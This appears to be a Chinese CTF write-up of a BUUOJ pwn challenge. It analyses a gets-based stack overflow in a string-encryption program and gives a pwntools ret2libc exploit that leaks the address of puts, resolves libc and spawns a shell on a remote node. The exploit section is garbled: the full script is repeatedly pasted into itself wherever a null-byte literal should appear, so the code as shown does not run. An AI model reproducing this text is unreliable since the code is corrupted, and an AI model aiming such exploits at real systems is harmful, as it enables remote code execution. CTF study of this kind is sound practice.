题目
这道题折磨了我很久都没打通,最终决定丢下
最近刚好出题碰到了栈平衡这么个机制,而且正好想要复现一下ret2libc2,机缘巧合之下重新审视这道题
此前一直以为是查询libc的问题,结果现在一看才发现其实是栈平衡在作祟,还有x64传参的一点小问题,小改一下EXP最终成功打通了
- 靶机:Ubuntu18
- 本地:Ubuntu22(WSL2)
分析
题目是一个字符串加密程序,encrypt
函数如下
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
分析一下得知函数的逻辑:
memset
函数把数组初始化为0- 有一个不知道哪来的变量
x
,如果x
大于字符串长度就一直循环加密下去,而且会改变payload - 字符串长度由
strlen
函数求得,其用\0
来判断字符串末尾
由于不知道x从何而来,我们就干脆让padding以\0
为开头暴力绕过加密循环
然后来确定下偏移,从-0x50(数组s)到0x08(返回地址r)一共0x58
最后来找找传参用的gadget
x64传参机制比较神必,前六个参数必须通过寄存器传参,第一个参数存在rdi
寄存器里
用神器ROPgadget找找(文件名:pwn)
ROPgadget --binary pwn --only 'pop|ret'
0x0000000000400c83 : pop rdi ; ret
okk万事俱备,最后来捋捋思路:
- 绕过加密并溢出->返回到gadget、传入
puts
的GOT地址->再返回到puts_plt
输出地址->重新回到main
函数 - 绕过+溢出->栈平衡(
_init_proc
)->返回到gadget、传入/bin/sh
的地址->再返回到system
->getshell
EXP
from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
p.sendlineafter('Input your choice!\n','1')
payload=b'from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'from pwn import*
from LibcSearcher import*
# p=process('./pwn')
p=remote("node4.buuoj.cn",26998)
elf=ELF("./pwn")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x400c83
ret=0x4006b9
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.recvline()
p.recvline()
puts_addr=u64(p.recvuntil('\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
p.sendlineafter('Input your choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
'+b'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
p.sendlineafter('Input your Plaintext to be encrypted\n',payload)
p.interactive()
Comments NOTHING